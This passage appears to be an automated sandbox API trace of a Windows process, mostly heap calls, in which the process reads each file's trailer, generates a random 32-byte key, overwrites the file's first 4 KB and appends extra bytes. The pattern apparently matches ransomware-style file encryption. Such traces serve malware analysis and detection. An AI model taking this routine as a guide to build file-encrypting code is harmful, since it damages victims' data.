dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0087.887] GetProcessHeap () returned 0x540000 [0087.887] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0087.887] GetProcessHeap () returned 0x540000 [0087.887] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0087.887] GetProcessHeap () returned 0x540000 [0087.887] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0087.887] GetProcessHeap () returned 0x540000 [0087.887] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0087.887] GetProcessHeap () returned 0x540000 [0087.887] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0087.887] GetProcessHeap () returned 0x540000 [0087.887] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0087.887] GetProcessHeap () returned 0x540000 [0087.887] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0087.887] GetProcessHeap () returned 0x540000 [0087.888] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0087.888] GetProcessHeap () returned 0x540000 [0087.888] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0087.888] GetProcessHeap () returned 0x540000 [0087.888] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0087.888] GetProcessHeap () returned 0x540000 [0087.888] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0087.888] GetProcessHeap () returned 0x540000 [0087.888] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0087.888] GetProcessHeap () returned 0x540000 [0087.888] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0087.888] GetProcessHeap () returned 0x540000 [0087.888] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0087.888] GetProcessHeap () returned 0x540000 [0087.888] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0087.888] GetProcessHeap () returned 0x540000 [0087.888] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0087.888] GetProcessHeap () returned 0x540000 [0087.888] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0087.888] GetProcessHeap () returned 0x540000 [0087.888] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0087.888] GetProcessHeap () returned 0x540000 [0087.888] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x24) returned 0x330ace8 [0087.888] GetProcessHeap () returned 0x540000 [0087.888] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0087.888] GetProcessHeap () returned 0x540000 [0087.888] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x40) returned 0x331fdf0 [0087.888] GetProcessHeap () returned 0x540000 [0087.888] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x330ace8 | out: hHeap=0x540000) returned 1 [0087.888] GetProcessHeap () returned 0x540000 [0087.888] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1f70 [0087.888] GetProcessHeap () returned 0x540000 [0087.888] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331fdf0 | out: hHeap=0x540000) returned 1 [0087.888] GetProcessHeap () returned 0x540000 [0087.888] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x3345b00 [0087.888] GetProcessHeap () returned 0x540000 [0087.888] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1f70 | out: hHeap=0x540000) returned 1 [0087.888] GetProcessHeap () returned 0x540000 [0087.888] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0087.889] GetProcessHeap () returned 0x540000 [0087.889] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3345b00 | out: hHeap=0x540000) returned 1 [0087.889] GetProcessHeap () returned 0x540000 [0087.889] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0087.889] GetProcessHeap () returned 0x540000 [0087.889] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0087.889] GetProcessHeap () returned 0x540000 [0087.889] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0087.889] GetProcessHeap () returned 0x540000 [0087.889] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0087.889] GetProcessHeap () returned 0x540000 [0087.889] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0087.889] GetProcessHeap () returned 0x540000 [0087.889] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0087.889] GetProcessHeap () returned 0x540000 [0087.889] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0087.889] GetProcessHeap () returned 0x540000 [0087.889] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0087.889] GetProcessHeap () returned 0x540000 [0087.889] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0087.889] GetProcessHeap () returned 0x540000 [0087.889] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0087.889] GetProcessHeap () returned 0x540000 [0087.889] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0087.889] GetProcessHeap () returned 0x540000 [0087.889] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0087.889] GetProcessHeap () returned 0x540000 [0087.889] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0087.889] GetProcessHeap () returned 0x540000 [0087.889] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0087.890] GetProcessHeap () returned 0x540000 [0087.890] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0087.890] GetProcessHeap () returned 0x540000 [0087.890] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0087.890] GetProcessHeap () returned 0x540000 [0087.890] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0087.890] GetProcessHeap () returned 0x540000 [0087.890] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0087.890] GetProcessHeap () returned 0x540000 [0087.890] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0087.890] GetProcessHeap () returned 0x540000 [0087.890] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0087.890] GetProcessHeap () returned 0x540000 [0087.890] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0087.890] GetProcessHeap () returned 0x540000 [0087.890] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0087.890] GetProcessHeap () returned 0x540000 [0087.890] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0087.890] GetProcessHeap () returned 0x540000 [0087.890] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0087.890] GetProcessHeap () returned 0x540000 [0087.890] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x220) returned 0x3357d80 [0087.890] GetProcessHeap () returned 0x540000 [0087.890] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0087.890] GetProcessHeap () returned 0x540000 [0087.890] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333fef0 | out: hHeap=0x540000) returned 1 [0087.890] GetProcessHeap () returned 0x540000 [0087.890] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331f258 | out: hHeap=0x540000) returned 1 [0087.890] GetProcessHeap () returned 0x540000 [0087.890] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0087.890] GetProcessHeap () returned 0x540000 [0087.891] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331ea88 | out: hHeap=0x540000) returned 1 [0087.891] SetFilePointerEx (in: hFile=0x998, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.891] WriteFile (in: hFile=0x998, lpBuffer=0x3345c08*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2c5fd44, lpOverlapped=0x0 | out: lpBuffer=0x3345c08*, lpNumberOfBytesWritten=0x2c5fd44*=0x100, lpOverlapped=0x0) returned 1 [0087.891] WriteFile (in: hFile=0x998, lpBuffer=0x2c5fd48*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2c5fd44, lpOverlapped=0x0 | out: lpBuffer=0x2c5fd48*, lpNumberOfBytesWritten=0x2c5fd44*=0x4, lpOverlapped=0x0) returned 1 [0087.891] GetProcessHeap () returned 0x540000 [0087.891] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x33427c0 | out: hHeap=0x540000) returned 1 [0087.891] GetProcessHeap () returned 0x540000 [0087.891] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331ef10 | out: hHeap=0x540000) returned 1 [0087.891] GetProcessHeap () returned 0x540000 [0087.891] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3345c08 | out: hHeap=0x540000) returned 1 [0087.891] CloseHandle (hObject=0x998) returned 1 [0087.893] InterlockedExchangeAdd (in: Addend=0x40f168, Value=1 | out: Addend=0x40f168) returned 136 [0087.893] SetFilePointerEx (in: hFile=0x99c, liDistanceToMove=0xfffffffc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.893] ReadFile (in: hFile=0x99c, lpBuffer=0x2c5fd4c, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2c5fd08, lpOverlapped=0x0 | out: lpBuffer=0x2c5fd4c*, lpNumberOfBytesRead=0x2c5fd08*=0x0, lpOverlapped=0x0) returned 1 [0087.893] SetFilePointerEx (in: hFile=0x99c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.893] GetProcessHeap () returned 0x540000 [0087.893] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x3345c08 [0087.893] GetProcessHeap () returned 0x540000 [0087.893] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x20) returned 0x331ef10 [0087.893] SystemFunction036 (in: RandomBuffer=0x331ef10, RandomBufferLength=0x20 | out: RandomBuffer=0x331ef10) returned 1 [0087.893] GetProcessHeap () returned 0x540000 [0087.893] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x1000) returned 0x33427c0 [0087.893] ReadFile (in: hFile=0x99c, lpBuffer=0x33427c0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2c5fd08, lpOverlapped=0x0 | out: lpBuffer=0x33427c0*, lpNumberOfBytesRead=0x2c5fd08*=0x1000, lpOverlapped=0x0) returned 1 [0087.942] SetFilePointerEx (in: hFile=0x99c, liDistanceToMove=0xfffff000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0087.943] WriteFile (in: hFile=0x99c, lpBuffer=0x33427c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x2c5fd44, lpOverlapped=0x0 | out: lpBuffer=0x33427c0*, lpNumberOfBytesWritten=0x2c5fd44*=0x1000, lpOverlapped=0x0) returned 1 [0087.943] GetProcessHeap () returned 0x540000 [0087.943] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333fef0 [0087.943] GetProcessHeap () returned 0x540000 [0087.943] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333ff00 [0087.943] GetProcessHeap () returned 0x540000 [0087.943] RtlReAllocateHeap (Heap=0x540000, Flags=0x8, Ptr=0x333ff00, Size=0x20) returned 0x331ea88 [0087.943] GetProcessHeap () returned 0x540000 [0087.943] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333ff00 [0087.943] GetProcessHeap () returned 0x540000 [0087.943] RtlReAllocateHeap (Heap=0x540000, Flags=0x0, Ptr=0x333ff00, Size=0x20) returned 0x331f258 [0087.943] GetProcessHeap () returned 0x540000 [0087.943] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333ff00 [0087.943] GetProcessHeap () returned 0x540000 [0087.943] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0087.943] GetProcessHeap () returned 0x540000 [0087.943] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0087.943] GetProcessHeap () returned 0x540000 [0087.943] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0087.943] GetProcessHeap () returned 0x540000 [0087.943] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0087.943] GetProcessHeap () returned 0x540000 [0087.943] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0087.943] GetProcessHeap () returned 0x540000 [0087.943] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0087.943] GetProcessHeap () returned 0x540000 [0087.943] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0087.943] GetProcessHeap () returned 0x540000 [0087.943] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0087.943] GetProcessHeap () returned 0x540000 [0087.943] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0087.943] GetProcessHeap () returned 0x540000 [0087.944] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0087.944] GetProcessHeap () returned 0x540000 [0087.944] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0087.944] GetProcessHeap () returned 0x540000 [0087.944] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0087.944] GetProcessHeap () returned 0x540000 [0087.944] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0087.944] GetProcessHeap () returned 0x540000 [0087.944] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0087.944] GetProcessHeap () returned 0x540000 [0087.944] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0087.944] GetProcessHeap () returned 0x540000 [0087.944] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0087.944] GetProcessHeap () returned 0x540000 [0087.944] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0087.944] GetProcessHeap () returned 0x540000 [0087.944] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0087.944] GetProcessHeap () returned 0x540000 [0087.944] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0087.944] GetProcessHeap () returned 0x540000 [0087.944] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0087.944] GetProcessHeap () returned 0x540000 [0087.944] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0087.944] GetProcessHeap () returned 0x540000 [0087.944] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0087.944] GetProcessHeap () returned 0x540000 [0087.944] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0087.944] GetProcessHeap () returned 0x540000 [0087.944] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0087.944] GetProcessHeap () returned 0x540000 [0087.944] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0087.944] GetProcessHeap () returned 0x540000 [0087.944] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0087.944] GetProcessHeap () returned 0x540000 [0087.944] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0087.944] GetProcessHeap () returned 0x540000 [0087.944] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0087.944] GetProcessHeap () returned 0x540000 [0087.944] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0087.944] GetProcessHeap () returned 0x540000 [0087.944] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0087.945] GetProcessHeap () returned 0x540000 [0087.945] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0087.945] GetProcessHeap () returned 0x540000 [0087.945] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0087.945] GetProcessHeap () returned 0x540000 [0087.945] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x24) returned 0x330ace8 [0087.945] GetProcessHeap () returned 0x540000 [0087.945] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0087.945] GetProcessHeap () returned 0x540000 [0087.945] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x40) returned 0x331fdf0 [0087.945] GetProcessHeap () returned 0x540000 [0087.945] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x330ace8 | out: hHeap=0x540000) returned 1 [0087.945] GetProcessHeap () returned 0x540000 [0087.945] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1f70 [0087.945] GetProcessHeap () returned 0x540000 [0087.945] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331fdf0 | out: hHeap=0x540000) returned 1 [0087.945] GetProcessHeap () returned 0x540000 [0087.945] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x3345b00 [0087.945] GetProcessHeap () returned 0x540000 [0087.945] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1f70 | out: hHeap=0x540000) returned 1 [0087.945] GetProcessHeap () returned 0x540000 [0087.945] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0087.945] GetProcessHeap () returned 0x540000 [0087.945] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3345b00 | out: hHeap=0x540000) returned 1 [0087.945] GetProcessHeap () returned 0x540000 [0087.945] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0087.945] GetProcessHeap () returned 0x540000 [0087.945] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0087.945] GetProcessHeap () returned 0x540000 [0087.945] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0087.945] GetProcessHeap () returned 0x540000 [0087.945] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0087.945] GetProcessHeap () returned 0x540000 [0087.945] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0087.945] GetProcessHeap () returned 0x540000 [0087.946] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0087.946] GetProcessHeap () returned 0x540000 [0087.946] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0087.946] GetProcessHeap () returned 0x540000 [0087.946] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0087.946] GetProcessHeap () returned 0x540000 [0087.946] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0087.946] GetProcessHeap () returned 0x540000 [0087.946] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0087.946] GetProcessHeap () returned 0x540000 [0087.946] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0087.946] GetProcessHeap () returned 0x540000 [0087.946] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0087.946] GetProcessHeap () returned 0x540000 [0087.946] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0087.946] GetProcessHeap () returned 0x540000 [0087.946] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0087.946] GetProcessHeap () returned 0x540000 [0087.946] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0087.946] GetProcessHeap () returned 0x540000 [0087.946] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0087.946] GetProcessHeap () returned 0x540000 [0087.946] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0087.946] GetProcessHeap () returned 0x540000 [0087.946] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0087.946] GetProcessHeap () returned 0x540000 [0087.946] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0087.946] GetProcessHeap () returned 0x540000 [0087.946] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0087.947] GetProcessHeap () returned 0x540000 [0087.947] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0087.947] GetProcessHeap () returned 0x540000 [0087.947] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0087.947] GetProcessHeap () returned 0x540000 [0087.947] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0087.947] GetProcessHeap () returned 0x540000 [0087.947] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0087.947] GetProcessHeap () returned 0x540000 [0087.947] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x220) returned 0x3357d80 [0087.947] GetProcessHeap () returned 0x540000 [0087.947] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0087.947] GetProcessHeap () returned 0x540000 [0087.947] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333fef0 | out: hHeap=0x540000) returned 1 [0087.947] GetProcessHeap () returned 0x540000 [0087.947] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331f258 | out: hHeap=0x540000) returned 1 [0087.947] GetProcessHeap () returned 0x540000 [0087.947] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0087.947] GetProcessHeap () returned 0x540000 [0087.947] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331ea88 | out: hHeap=0x540000) returned 1 [0087.947] SetFilePointerEx (in: hFile=0x99c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.947] WriteFile (in: hFile=0x99c, lpBuffer=0x3345c08*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2c5fd44, lpOverlapped=0x0 | out: lpBuffer=0x3345c08*, lpNumberOfBytesWritten=0x2c5fd44*=0x100, lpOverlapped=0x0) returned 1 [0087.947] WriteFile (in: hFile=0x99c, lpBuffer=0x2c5fd48*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2c5fd44, lpOverlapped=0x0 | out: lpBuffer=0x2c5fd48*, lpNumberOfBytesWritten=0x2c5fd44*=0x4, lpOverlapped=0x0) returned 1 [0087.947] GetProcessHeap () returned 0x540000 [0087.947] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x33427c0 | out: hHeap=0x540000) returned 1 [0087.947] GetProcessHeap () returned 0x540000 [0087.948] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331ef10 | out: hHeap=0x540000) returned 1 [0087.948] GetProcessHeap () returned 0x540000 [0087.948] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3345c08 | out: hHeap=0x540000) returned 1 [0087.948] CloseHandle (hObject=0x99c) returned 1 [0087.956] InterlockedExchangeAdd (in: Addend=0x40f168, Value=1 | out: Addend=0x40f168) returned 137 [0087.956] SetFilePointerEx (in: hFile=0x9a0, liDistanceToMove=0xfffffffc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.956] ReadFile (in: hFile=0x9a0, lpBuffer=0x2c5fd4c, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2c5fd08, lpOverlapped=0x0 | out: lpBuffer=0x2c5fd4c*, lpNumberOfBytesRead=0x2c5fd08*=0x0, lpOverlapped=0x0) returned 1 [0087.956] SetFilePointerEx (in: hFile=0x9a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.956] GetProcessHeap () returned 0x540000 [0087.956] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x3345c08 [0087.956] GetProcessHeap () returned 0x540000 [0087.956] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x20) returned 0x331ef10 [0087.956] SystemFunction036 (in: RandomBuffer=0x331ef10, RandomBufferLength=0x20 | out: RandomBuffer=0x331ef10) returned 1 [0087.956] GetProcessHeap () returned 0x540000 [0087.957] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x1000) returned 0x33427c0 [0087.957] ReadFile (in: hFile=0x9a0, lpBuffer=0x33427c0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2c5fd08, lpOverlapped=0x0 | out: lpBuffer=0x33427c0*, lpNumberOfBytesRead=0x2c5fd08*=0x1000, lpOverlapped=0x0) returned 1 [0088.005] SetFilePointerEx (in: hFile=0x9a0, liDistanceToMove=0xfffff000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0088.005] WriteFile (in: hFile=0x9a0, lpBuffer=0x33427c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x2c5fd44, lpOverlapped=0x0 | out: lpBuffer=0x33427c0*, lpNumberOfBytesWritten=0x2c5fd44*=0x1000, lpOverlapped=0x0) returned 1 [0088.005] GetProcessHeap () returned 0x540000 [0088.005] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333fef0 [0088.005] GetProcessHeap () returned 0x540000 [0088.005] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333ff00 [0088.005] GetProcessHeap () returned 0x540000 [0088.005] RtlReAllocateHeap (Heap=0x540000, Flags=0x8, Ptr=0x333ff00, 